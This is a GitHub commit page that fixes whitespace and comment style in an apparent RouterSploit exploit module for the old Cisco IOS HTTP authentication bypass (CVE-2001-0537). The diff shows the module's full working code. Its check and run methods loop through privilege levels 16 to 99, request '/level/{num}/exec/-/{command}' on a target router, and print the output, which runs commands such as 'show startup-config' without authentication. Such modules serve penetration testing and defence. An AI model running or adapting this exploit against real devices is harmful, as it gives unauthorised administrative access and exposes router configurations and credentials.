Skip to content

Commit

Permalink
fixed more style issues
Browse files Browse the repository at this point in the history
corrected W291, E261, W293, W391 issues
  • Loading branch information
rstoikos authored Apr 15, 2017
1 parent 1cfdae6 commit 1417d5e
Showing 1 changed file with 9 additions and 10 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -13,16 +13,16 @@ class Exploit(exploits.Exploit):
"""
This exploit targets a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for the url "http://ip_address/level/{num}/exec/..",
it is possible to bypass authentication and execute any command.
Example: http://10.0.0.1/level/99/exec/show/startup/config
it is possible to bypass authentication and execute any command.
Example: http://10.0.0.1/level/99/exec/show/startup/config
"""
__info__ = {
'name': 'Cisco IOS HTTP Unauthorized Administrative Access',
'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.',
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.',
'authors': [
'Author', 'Renos Stoikos rstoikos[at]gmail.com'# routesploit module
'Author', 'Renos Stoikos rstoikos[at]gmail.com' # routesploit module
],
'references': [
'http://www.cvedetails.com/cve/cve-2001-0537',
Expand All @@ -32,10 +32,10 @@ class Exploit(exploits.Exploit):
],
}

target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(80, 'Target port') # default port
show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config')

def check(self):
for num in range(16, 100):
url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
Expand All @@ -45,7 +45,7 @@ def check(self):
elif response is None:
return False # target is not vulnerable
return False # target is not vulnerable

def run(self):
for num in range(16, 100):
url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
Expand All @@ -57,5 +57,4 @@ def run(self):
print_info(response.text)
break
else:
print_error("Exploit failed - could not execute command for level",num)

print_error("Exploit failed - could not execute command for level", num)

0 comments on commit 1417d5e

Please sign in to comment.